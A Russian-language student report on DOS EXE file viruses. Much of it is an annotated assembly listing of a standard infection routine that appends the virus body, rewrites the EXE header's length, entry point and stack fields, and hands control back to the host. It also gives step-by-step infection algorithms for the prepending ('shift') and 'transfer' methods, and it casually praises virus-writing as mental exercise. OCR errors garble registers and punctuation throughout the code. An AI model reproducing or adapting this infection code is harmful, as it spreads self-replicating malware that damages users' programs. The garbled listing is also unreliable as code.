Доклад: Exe-вирусы
Стандартное заражение ЕХЕ-файлов
Стандартное заражение - заражение, при котором
вирус внедряется
в конец файла, изменяя заголовок так, чтобы после загрузки файла уп-
равление получил вирус. Принципиально действие такого вируса мало
отличается от действия рассмотренного СОМ-вируса. Чтобы выяснить
способы работы с ЕХЕ-файлами, рассмотрим следующий фрагмент про-
граммы:
;Читаем заголовок ЕХЕ-файла (точнее, только первые
18h байт,
;которых вполне достаточно)
ReadHeader:
mov ah,3Fh
mov dx,offset EXEHeader
mov cx,0018h
int 21 h
Останавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя Sl+смещение элемента
mov si,offset EXEHeader
[Получаем реальную длину файла, переместив указатель
текущей
;позиции чтения/записи в конец файла
GetRealFSize:
mov ax,4202h
mov bx.Handle
xor ex,ex
xor dx.dx
int 21 h
;Сохраним полученную длину файла
mov Reallen.dx
mov Reallen+2,ax
;Так как речь идет о стандартной процедуре заражения,
нужно
;помнить, что все вышесказанное не должно затрагивать
оверлейные файлы. Их длина, указанная в заголовке,
.-меньше реальной, то есть эти файлы загружаются
;в память не полностью.
Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
Сохраним в стеке реальную длину ЕХЕ-файла
push dx
push ax
рассчитаем размер ЕХЕ-файла в 512-байтных страницах
и остаток
CompareOVL
mov cx,0200h
div ex
;Ha данный момент в регистре АХ находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX - остаток, образующий
;еще одну (неучтенную) страницу.
.Добавим эту страницу к общему числу страниц -
;если остаток не равен нулю, то
.увеличим число страниц
or dx.dx
jz m1
inc ax
m1:
.Будем считать пригодным для заражения
.стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
cmp ax,[si+PartPag]
jne ExitProc
cmp dx,[si+PageCnt]
jne ExitProc
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExelP из заголовка ЕХЕ-файла.
.Значения констант, используемых в программе,
.равны смещению соответствующего
;элемента в заголовке ЕХЕ-файла (Приложение А)
InitRetVars:
mov ax,[si+ReloSS]
mov oldss.ax
mov ax,[si+ExeSP]
mov oldsp.ax
mov ax,[si+ReloCS]
mov oldcs.ax
mov ax,[si+Exe!P]
mov oldip.ax
.Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
pop ax
pop dx
.Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE - длина тела вируса
adc dx.0
рассчитаем получившуюся длину (одна страница - 512
байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
mov cx,0200h
div ex
or dx.dx
jz newJen
inc ax
NewJen:
;Внесем в заголовок новую длину файла
mov [si+PageCnt],ax
mov [si+PartPag],dx
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
Eval_new_entry:
mov dx.Reallen+2
mov ax.Reallen
; Рассчитаем новую точку входа.
.Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
.прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
mov cx,10h
div ex
Получили число параграфов (AX) и остаток (DX - смещение
;вируса в последнем параграфе).
;0тнимем от числа параграфов в файле число
.параграфов в заголовке - получим сегмент входа в ЕХЕ-файл
sub ax,[si+HdrSize]
;3апишем новую точку входа в заголовок
mov [si+ReloCS],ax
mov [si+ExelP],dx
.Замечание: можно было округлить полученное число,
;и вирус начинался бы с OOOOh.
;Но этого делать не стоит.
,-Естественно, все обращения к данным в этом вирусе
должны быть нефиксированными, как и в любом другом вирусе.
;Вместо "mov ax,ANYDATA" придется делать так:
; mov si.VIRSTART
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA - смещение относительно начала тела вируса
;Стек поставим за тело вируса - байт на ЮОп. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
.'Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека -
;на 100h байт после тела вируса
mov [si+ReloSSj.ax
mov ax.VIRSIZE+IOOh
mov [si+ExeSP],ax
;Теперь запишем заголовок в файл, не забыв и тело вируса.
; Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
UpdateRle:
;3апишем тело вируса
WriteBody:
.-Установим указатель чтения/записи в конец файла
mov bx,Handle
хог сх,сх
xor dx.dx
mov ax,4202h
int 21 h
.Запишем тело вируса в файл
mov ah,40h
mov cx.VIRSIZE
mov dx.offset VIRStart
int 21h
;3апишем заголовок
WriteHeader:
;Установим указатель чтения/записи в начало файла
mov ax,4200h
xor ex,ex
xor dx.dx
int 21 h
.Запишем заголовок в файл
mov cx,0018h
mov ah,40h
mov dx.si
int 21 h
Итак, вирус "поселился" в ЕХЕ-файле. А
как после окончания работы
вируса передать управление инфицированной программе? Вот процеду-
ра выхода из вируса:
CureEXE:
StackBack:
-.Установим первоначальный указатель (сегмент и смещение)
стека
mov ax.ds
-.Прибавим ООЮп, после чего в АХ будет
;находится сегмент, с которого
;загружен программный модуль
add ax,10h
Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;при заражении
;3апретим прерывания,
так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
cli
-.Установим сегмент стека (PSP+Wh+OldSS)
mov ss.ax
:Установим первоначальный указатель (смещение) стека
db @mov_sp
OldSP dw ?
; Разрешим прерывания - опасный участок пройден
sti
[Подготовим значения в стеке для команды IRET
RetEntryPoint:
pushf
рассчитаем сегмент для кода по аналогии с сегментом стека
mov ax.DATASEG
add ax,10h
db @add_ax
OldCS dw ?
;Сохраним в стеке полученное значение
(PSP+Wh+OldCS)
push ax
;Сохраним в стеке смещение исходной точки входа
db @mov_ax
OldIP dw ?
push ax
.Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
iret
Внедрение способом сдвига
Инфицируемая программа размещается в файле после
кода вируса,
сдвигаясь на его длину, отсюда и название метода. Алгоритм работы
вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву (для данного типа вирусов
лучше СОМ-файл,
но можно и не слишком большой ЕХЕ - это связано с тем, что все
тело инфицируемой программы считывается в память и ее может не
хватить, если эта программа слишком большая).
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь
могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер все тело программы.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в файл после тела вируса тело
программы из буфера.
Длина программы увеличивается на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер тело инфицированной программы,
расположенное
в файле после тела вируса.
14. Создать на диске временный файл с расширением
СОМ или ЕХЕ
(в зависимости от того, какой тип программ заражается).
15. Записать в этот файл тело программы из буфера.
16. Закрыть созданный файл.
17. Процедурой Ехес запустить созданный файл на
исполнение -
выполнится инфицированная программа.
18. После завершения работы программы созданный файл удалить.
19. Вернуть управление в DOS.
Вирусы - это хорошая гимнастика для ума, хотя
многие думают, что
написать вирус на языке высокого уровня весьма трудно. Это не совсем
так. Писать на языке Pascal довольно легко, правда величина получен-
ного кода вызывает благоговейный трепет.
Внедрение способом переноса
Вирусы данного типа размножаются следующим
образом. Из инфициру-
емой программы от начала файла считывается часть кода, по длине рав-
ная длине вируса. На освободившееся место вписывается вирус,
а оригинальное начало программы переносится в конец файла. Отсюда
и название метода - "метод переноса". Есть и другие варианты. Иногда,
например, начало программы записывается в середину файла, а середина
переносится в конец, чтобы еще сильнее все запутать. Превосходство дан-
ного метода над другими описанными в том, что инфицированная про-
грамма исполняется в том же виде, в каком она была до заражения,
из файла с тем же именем и расширением. То есть программы, проверя-
ющие себя на предмет заражения вирусом, его не замечают. Корректно
исполняются и такие программы, которые ищут свои файлы конфигура-
ции с именами:
ИМЯ_И_ПУТЬ_К_САМОЙ_ПРОГРАММЕ +.INI
Недостаток данного метода проявляется при сбоях в
работе компьюте-
ра. Если при исполнении инфицированной программы компьютер
"повиснет" или произойдет перезагрузка системы, инфицированная
программа окажется "чистой", то есть без
вируса. Но, во-первых, "кто
не рискует, тот не пьет шампанского", а во-вторых, программы виснут
редко. Алгоритм работы такого вируса следующий:
1. Открыть файл, из которого получено управление.
2. Считать в буфер тело вируса.
3. Закрыть файл.
4. Найти файл-жертву.
5. Открыть файл-жертву.
6. Проверить файл на повторное заражение (здесь
могут быть вариан-
ты, но чаще всего используется сигнатура).
7. Если файл уже инфицирован, перейти к пункту 3.
8. Считать в буфер из начала найденного файла
фрагмент программы,
по длине равный телу вируса.
9. Записать в начало файла тело вируса из буфера.
10. Дописать в конец файла считанное начало
программы из буфера.
Длина программы увеличилась на длину вируса.
11. Закрыть файл-жертву.
12. Открыть файл, из которого стартовали.
13. Считать в буфер начало инфицированной
программы, расположен-
ное в конце файла.
14. Записать считанное начало программы поверх
кода вируса в начало
файла.
15. Сократить файл до его оригинальной длины (то
есть удалить часть
кода, по длине равную длине тела вируса, в конце файла).
16. Закрыть файл.
17. Процедурой Ехес запустить стартовый файл
(ParamStr(O)) на ис-
полнение - выполнится инфицированная программа.
18. После завершения работы программы опять
открыть стартовый
файл.
19. Записать в начало файла тело вируса, а
оригинальное начало про-
граммы опять переместить в конец файла.
20. Закрыть файл.
21. Вернуть управление в DOS.